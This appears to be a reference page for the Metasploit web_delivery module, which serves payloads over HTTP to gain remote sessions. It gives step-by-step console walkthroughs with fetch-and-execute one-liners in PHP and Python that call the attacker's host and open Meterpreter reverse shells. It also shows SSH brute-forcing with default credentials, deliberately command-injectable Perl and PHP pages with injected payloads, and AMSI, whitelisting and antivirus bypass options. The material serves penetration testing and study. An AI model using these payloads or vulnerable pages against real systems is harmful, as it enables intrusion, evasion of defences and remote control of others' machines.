Script Web Delivery - Metasploit
This page contains detailed information about how to use the exploit/multi/script/web_delivery metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Script Web Delivery
Module: exploit/multi/script/web_delivery
Source code: modules/exploits/multi/script/web_delivery.rb
Disclosure date: 2013-07-19
Last modification time: 2021-05-20 17:17:17 +0000
Supported architecture(s): -
Supported platform(s): Linux, OSX, PHP, Python, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module quickly fires up a web server that serves a payload. The module will provide a command to be run on the target machine based on the selected target. The provided command will download and execute a payload using either a specified scripting language interpreter or "squiblydoo" via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. Regsvr32 uses "squiblydoo" technique to bypass application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included PowerShell command inside of it. Similarly, the pubprn target uses the pubprn.vbs script to request and execute a .sct file. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe Microsoft signed binary to request and execute a PowerShell script. This technique only works on Windows 10 builds <= 1709. "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded and executed.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > exploit
Knowledge Base
Introduction
The web_delivery module provides a stealthy way to deliver a payload during post exploitation over HTTP or HTTPS. Because the payload does not touch the disk, it can easily bypass many anti-virus protections.
The web_delivery module supports three different languages for delivery: Python, PHP, and Powershell. You should manually select the correct target based on the victim environment you are exploiting.
For example, if you have gained remote access through a PHP application, it is likely you can use PHP. If you are in a modern Windows server environment, then you can usually assume the target supports Powershell as well.
Verification Steps
To use the web_delivery module, you must first gain access to the target host and be able to execute either a Python, PHP, or Powershell interpreter. Then, follow these steps to proceed with exploitation:
- Start msfconsole
- Run:
use exploit/multi/script/web_delivery
- Run:
set target 1
(1 is PHP. You can useshow targets
to see other options) - Run:
set PAYLOAD php/meterpreter/reverse_tcp
(You can doshow payloads
to see what options are suitable for the target) - Run:
set LHOST IP
(The IP the payload should connect back to) - Do:
run
- At this point, a handler is up for that payload, and the module should instruct you to execute a command.
- Copy the command. Depending on your pentesting scenario, you can either inject the command into a vulnerable application, or run it from the target's shell and get a session:
msf exploit(web_delivery) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.1:4444
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9
[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.1:8080/z5inGkwCCQiz9'));"
[*] Delivering Payload
[*] Sending stage (33684 bytes) to 192.168.2.134
[*] Meterpreter session 1 opened (192.168.2.1:4444 -> 192.168.2.134:41684) at 2016-03-02 11:41:34 -0600
Targets
Python
Python is a popular language, especially on Unix-based systems. It has shipped by default with Ubuntu Linux since version 8.04, Mac OS X since version 10.3, and is widely available on other systems as well.
PHP
PHP is often found on web servers, especially in shared hosting environments. It is the basis for popular web applications such as WordPress, Joomla, and Drupal.
Powershell/Windows
Powershell is a popular language on modern Windows systems, largely replacing batch files and Windows Scripting Host for Windows automation. Windows 7 and Windows Server 2008 R2 were the first versions to come with Powershell by default. Older Windows systems, such as XP and Server 2003, can still have it installed as an optional component.
Scenarios
Against a compromised web application
web_delivery works nicely against a web application with a command execution vulnerability. One way to approach this would be:
- Start exploit/multi/script/web_delivery
- Use Burp Suite to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.
- If the modified HTTP/HTTPS request is successful, you should get a session.
Shell upgrade
web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. Here's how that can be done:
- Start
exploit/multi/script/web_delivery
that generates the command to inject. - Interact with the shell, and copy/paste the command.
- You should get a Meterpreter session.
An example of this process can be seen below where an Ubuntu 14.04 victim is first exploited through auxialiary/scanner/ssh/ssh_login
, and then upgraded via web_delivery
.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.2.156
rhosts => 192.168.2.156
msf auxiliary(ssh_login) > set username ubuntu
username => ubuntu
msf auxiliary(ssh_login) > set password ubuntu
password => ubuntu
msf auxiliary(ssh_login) > run
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:35219 -> 192.168.2.156:22) at 2017-03-05 19:57:53 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set lhost 192.168.2.117
lhost => 192.168.2.117
msf exploit(web_delivery) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/DovbvqRaB
[*] Local IP: http://192.168.2.117:8080/DovbvqRaB
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
msf exploit(web_delivery) > sessions -i 1
[*] Starting interaction with 1...
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
[*] 192.168.2.156 web_delivery - Delivering Payload
[*] Sending stage (38500 bytes) to 192.168.2.156
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35840) at 2017-03-05 19:59:44 -0500
^Z
Background session 1? [y/N] y
msf exploit(web_delivery) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : Ubuntu14
OS : Linux 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016
Architecture : x64
Meterpreter : python/linux
meterpreter >
Vulnerable Pages
Perl cgi
These instructions will create a cgi environment and a vulnerable perl application for exploitation. We used Kali rolling (2016.2) for this tutorial.
Setup
In this example, we make a post
form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner.
- Enable cgi:
a2enmod cgid
mkdir /var/www/cgi-bin
- Enable folder for cgi execution: add
ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/"
to/etc/apache2/sites-enabled/000-default.conf
inside of theVirtualHost
tags Create the vulnerable page by writing the following text to
/var/www/cgi-bin/example.pl
:#!/usr/bin/perl use CGI qw(:standard); $query = new CGI; print $query->header( -type=> "text/html"), $query->start_html(); $query->import_names( 'Q' ); if ( $Q::ip ) { print `ping -c 1 $Q::ip`, "
"; } print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED), $query->p("Enter IP to ping:"), $query->textfield(-name=>"ip"), #, -id=>"ip"), $query->submit(-name=>"submit"), $query->end_form(), $query->end_html();Make it executable:
chmod +x /var/www/cgi-bin/example.pl
We can verify this page is exploitable by chaining commands so instead of submitting 127.0.0.1
we'll submit 127.0.0.1;whoami
.
curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"
or via GET request:
curl "http://127.0.0.1/cgi-bin/example.pl?ip=127.0.0.1%3Bwhoami&submit=submit"
(note url encoding)
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.030/0.030/0.030/0.000 ms
www-data
<form method="post" action="/cgi-bin/example.pl" enctype="application/x-www-form-urlencoded" name="ping">Enter IP to ping:
<input type="text" name="ip" value="127.0.0.1;whoami" /><input type="submit" name="submit" value="submit" /></form>
Exploitation
use exploit/multi/script/web_delivery
set lhost 192.168.2.117
exploit
[*] Exploit running as background job.
[] Started reverse TCP handler on 192.168.2.117:4444
[] Using URL: http://0.0.0.0:8080/vNPlsjE
[] Local IP: http://192.168.2.117:8080/vNPlsjE
[] Server started.
[] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/vNPlsjE'); exec(r.read());"
msf exploit(web_delivery) >
Now browse to the site, and submit the form with the text `127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());"`. If the site seems to freeze, exploitation was most likely successful.
[] 192.168.2.117 web_delivery - Delivering Payload
[] Sending stage (38500 bytes) to 192.168.2.117
[] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.117:47660) at 2017-03-04 14:52:38 -0500
or we can exploit via curl after escaping the double quotes. Note we use --data-urlencode
to automatically encode for us:
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
[] Started reverse TCP handler on 192.168.2.117:4444 [] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp [] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp [] Server started. [] Run the following command on the target machine: python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());" msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit" [] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 [] 192.168.2.117 web_delivery - Delivering Payload [] Sending stage (38500 bytes) to 192.168.2.117 [*] Meterpreter session 4 opened (192.168.2.117:4444 -> 192.168.2.117:47688) at 2017-03-04 15:02:35 -0500 100 1172 0 981 100 191 233 45 0:00:04 0:00:04 --:--:-- 233 100 1172 0 981 100 191 158 30 0:00:06 0:00:06 --:--:-- 0^CInterrupt: use the 'exit' command to quit msf exploit(web_delivery) > sessions -l
Active sessions
Id Type Information Connection
4 meterpreter python/linux www-data @ k 192.168.2.117:4444 -> 192.168.2.117:47688 (192.168.2.117)
PHP
In this example we make a post
form that pings a user provided IP, which is a typical function on many routers and is often abused in a similar manner.
- Enable cgi:
a2enmod php7.0
- Create the vulnerable page by writing the following text to
/var/www/html/example.php
:
if ($_POST["ip"]){
print( shell_exec('ping -c 1 '.$_POST["ip"]) . "
");
}
print("<form method=\"post\"
action=\"/example.php\"
enctype=\"application/x-www-form-urlencoded\"
name=\"ping\">
Enter IP to ping:
<input type=\"text\" name=\"ip\" value=\"\" />
<input type=\"submit\" name=\"submit\" value=\"submit\" /></form>");
We can verify this page is exploitable by chaining commands so instead of submitting 127.0.0.1
we'll submit 127.0.0.1;whoami
.
curl -X POST http://127.0.0.1/example.php --data-urlencode "ip=127.0.0.1;whoami&submit=submit"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
www-data
<form method="post"
action="/example.php"
enctype="application/x-www-form-urlencoded"
name="ping">
Enter IP to ping:
<input type="text" name="ip" value="" />
<input type="submit" name="submit" value="submit" /></form> </body>
Exploitation
use exploit/multi/script/web_delivery
set lhost 192.168.2.117
set target 1
set payload php/meterpreter/reverse_tcp
exploit
[*] Exploit running as background job.
[] Started reverse TCP handler on 192.168.2.117:4444
[] Using URL: http://0.0.0.0:8080/de3uw0
[] Local IP: http://192.168.2.117:8080/de3uw0
[] Server started.
[] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"
msf exploit(web_delivery) >
Now browse to the site, and submit the form with the text `127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"`. If the site seems to freeze, exploitation was most likely successful.
[] 192.168.2.117 web_delivery - Delivering Payload
[] Sending stage (33986 bytes) to 192.168.2.117
[] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.117:48138) at 2017-03-04 15:36:31 -0500
or we can exploit via curl after escaping the double quotes. Note we use --data-urlencode
to automatically encode for us:
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
[] Started reverse TCP handler on 192.168.2.117:4444 [] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp [] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp [] Server started. [] Run the following command on the target machine: python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());" msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit" [] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 490 0 329 100 161 11490 5623 --:--:-- --:--:-- --:--:-- 11344
[] 192.168.2.117 web_delivery - Delivering Payload
[] Sending stage (33986 bytes) to 192.168.2.117
[*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500
100 1132 0 971 100 161 440 73 0:00:02 0:00:02 --:--:-- 440^CInterrupt: use the 'exit' command to quit
Go back to menu.
Msfconsole Usage
Here is how the multi/script/web_delivery exploit module looks in the msfconsole:
msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > show info
Name: Script Web Delivery
Module: exploit/multi/script/web_delivery
Platform: Python, PHP, Windows, Linux, OSX
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2013-07-19
Provided by:
Andrew Smith "jakx" <[email protected]>
Ben Campbell <[email protected]>
Chris Campbell
Casey Smith
Trenton Ivey
g0tmi1k
bcoles <[email protected]>
Matt Nelson
phra
Nick Landers
Available targets:
Id Name
-- ----
0 Python
1 PHP
2 PSH
3 Regsvr32
4 pubprn
5 SyncAppvPublishingServer
6 PSH (Binary)
7 Linux
8 Mac OS X
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module quickly fires up a web server that serves a payload. The
module will provide a command to be run on the target machine based
on the selected target. The provided command will download and
execute a payload using either a specified scripting language
interpreter or "squiblydoo" via regsvr32.exe for bypassing
application whitelisting. The main purpose of this module is to
quickly establish a session on a target machine when the attacker
has to manually type in the command: e.g. Command Injection, RDP
Session, Local Access or maybe Remote Command Execution. This attack
vector does not write to disk so it is less likely to trigger AV
solutions and will allow privilege escalations supplied by
Meterpreter. When using either of the PSH targets, ensure the
payload architecture matches the target computer or use SYSWOW64
powershell.exe to execute x86 payloads on x64 machines. Regsvr32
uses "squiblydoo" technique to bypass application whitelisting. The
signed Microsoft binary file, Regsvr32, is able to request an .sct
file and then execute the included PowerShell command inside of it.
Similarly, the pubprn target uses the pubprn.vbs script to request
and execute a .sct file. Both web requests (i.e., the .sct file and
PowerShell download/execute) can occur on the same port. The
SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe
Microsoft signed binary to request and execute a PowerShell script.
This technique only works on Windows 10 builds <= 1709. "PSH
(Binary)" will write a file to the disk, allowing for custom
binaries to be served up to be downloaded and executed.
References:
https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html
https://www.pentestgeek.com/2013/07/19/invoke-shellcode/
http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/
https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html
https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
https://iwantmore.pizza/posts/amsi.html
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
https://lolbas-project.github.io/lolbas/Scripts/Pubprn/
Module Options
This is a complete list of options available in the multi/script/web_delivery exploit:
msf6 exploit(multi/script/web_delivery) > show options
Module options (exploit/multi/script/web_delivery):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python
Advanced Options
Here is a complete list of advanced options supported by the multi/script/web_delivery exploit:
msf6 exploit(multi/script/web_delivery) > show advanced
Module advanced options (exploit/multi/script/web_delivery):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
PSH-AmsiBypass true yes PSH - Request AMSI/SBL bypass before the stager
PSH-AmsiBypassURI no PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)
PSH-EncodedCommand true yes PSH - Use -EncodedCommand for web_delivery launcher
PSH-ForceTLS12 true yes PSH - Force use of TLS v1.2
PSH-Proxy true yes PSH - Use the system proxy
PSHBinary-FILENAME no PSH (Binary) - The filename to use (Will be random if left blank)
PSHBinary-PATH no PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place true yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/script/web_delivery module can exploit:
msf6 exploit(multi/script/web_delivery) > show targets
Exploit targets:
Id Name
-- ----
0 Python
1 PHP
2 PSH
3 Regsvr32
4 pubprn
5 SyncAppvPublishingServer
6 PSH (Binary)
7 Linux
8 Mac OS X
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/script/web_delivery exploit:
msf6 exploit(multi/script/web_delivery) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/meterpreter_bind_tcp normal No Python Meterpreter Shell, Bind TCP Inline
13 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
14 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
15 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
16 payload/python/pingback_bind_tcp normal No Python Pingback, Bind TCP (via python)
17 payload/python/pingback_reverse_tcp normal No Python Pingback, Reverse TCP (via python)
18 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
19 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
20 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
21 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the multi/script/web_delivery exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/script/web_delivery) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unexpected request for .sct file
Here is a relevant code snippet related to the "Unexpected request for .sct file" error message:
213: when 'pubprn'
214: data = gen_pubprn_sct_file(psh)
215: when 'Regsvr32'
216: data = gen_sct_file(psh)
217: else
218: print_error('Unexpected request for .sct file')
219: end
220:
221: send_response(cli, data, 'Content-Type' => 'text/plain')
222: return
223: end
Go back to menu.
Related Pull Requests
- #15254 Merged Pull Request: Use Obfuscated Powershell Protection Bypasses
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14463 Merged Pull Request: web_delivery: Add SyncAppvPublishingServer target
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13063 Merged Pull Request: Add PSH-AmsiBypassURI option to allow persistent web_delivery
- #13035 Merged Pull Request: fix #7366, ignore the ssl cert verification on PHP web_delivery
- #12804 Merged Pull Request: Support osx in web_delivery
- #12799 Merged Pull Request: Ignore SSL cert in python web_delivery
- #12673 Merged Pull Request: Fix call to method in null object in rpc_creds method
- #12446 Merged Pull Request: Add support for AMSI/SBL bypass to PSH web_delivery
- #11205 Merged Pull Request: Add support for Linux and pubprn.vbs to multi/script/web_delivery
- #9132 Merged Pull Request: Restore 8933
References
- CVE: Not available
- https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html
- https://www.pentestgeek.com/2013/07/19/invoke-shellcode/
- http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/
- https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
- https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html
- https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
- https://iwantmore.pizza/posts/amsi.html
- https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
- https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
- https://lolbas-project.github.io/lolbas/Scripts/Pubprn/
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/dir_webdav_unicode_bypass
- auxiliary/scanner/http/ms09_020_webdav_unicode_bypass
- auxiliary/scanner/http/webdav_internal_ip
- auxiliary/scanner/http/webdav_scanner
- exploit/windows/browser/webdav_dll_hijacker
- exploit/windows/http/xampp_webdav_upload_php
- exploit/windows/iis/iis_webdav_scstoragepathfromurl
- exploit/windows/iis/iis_webdav_upload_asp
- exploit/windows/iis/ms03_007_ntdll_webdav
- exploit/windows/local/ms16_016_webdav
- exploit/windows/misc/vmhgfs_webdav_dll_sideload
- exploit/windows/misc/webdav_delivery
- exploit/unix/webapp/wp_nmediawebsite_file_upload
- auxiliary/admin/http/contentkeeper_fileaccess
- auxiliary/gather/joomla_contenthistory_sqli
